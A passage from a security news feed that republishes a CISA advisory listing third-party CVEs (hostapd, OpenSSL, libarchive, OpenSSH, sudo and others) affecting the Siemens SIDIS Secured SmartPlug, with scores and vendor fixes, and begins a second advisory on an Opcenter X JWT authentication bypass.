<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23303</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23303">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-23304</a></h3>
<div class="csaf-accordion-content">
<p>The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/924.html">CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37660</a></h3>
<div class="csaf-accordion-content">
<p>In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37660">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/323.html">CWE-323 Reusing a Nonce, Key Pair in Encryption</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-48174</a></h3>
<div class="csaf-accordion-content">
<p>There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-48174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5222</a></h3>
<div class="csaf-accordion-content">
<p>A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5914</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5914">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-26465</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-26465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/390.html">CWE-390 Detection of Error Condition Without Action</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-32462</a></h3>
<div class="csaf-accordion-content">
<p>Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-32462">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.8</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-5121</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-5121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens Opcenter X]]></title>
<description><![CDATA[View CSAF
Summary
Opcenter X before V2604 contain an authentication bypass vulnerability that could allow an attacker to gain full unauthorized access to the application. Siemens has released a new version for Opcenter X and recommends to update to the latest version.
The following versions of Si...]]></description>
<link>https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Opcenter X before V2604 contain an authentication bypass vulnerability that could allow an attacker to gain full unauthorized access to the application. Siemens has released a new version for Opcenter X and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens Opcenter X are affected:</p>
<ul>
<li>Opcenter X vers:intdot/&lt;2604</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Siemens</td>
<td>Siemens Opcenter X</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-56451</a></h3>
<div class="csaf-accordion-content">
<p>Affected applications do not properly validate the algorithm specified in the JSON Web Token (JWT) header. This could allow an unauthenticated remote attacker to forge arbitrary JWT, bypass authentication mechanisms and impersonate any user including administrative accounts, potentially gaining full unauthorized access to the application.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-56451">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens Opcenter X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
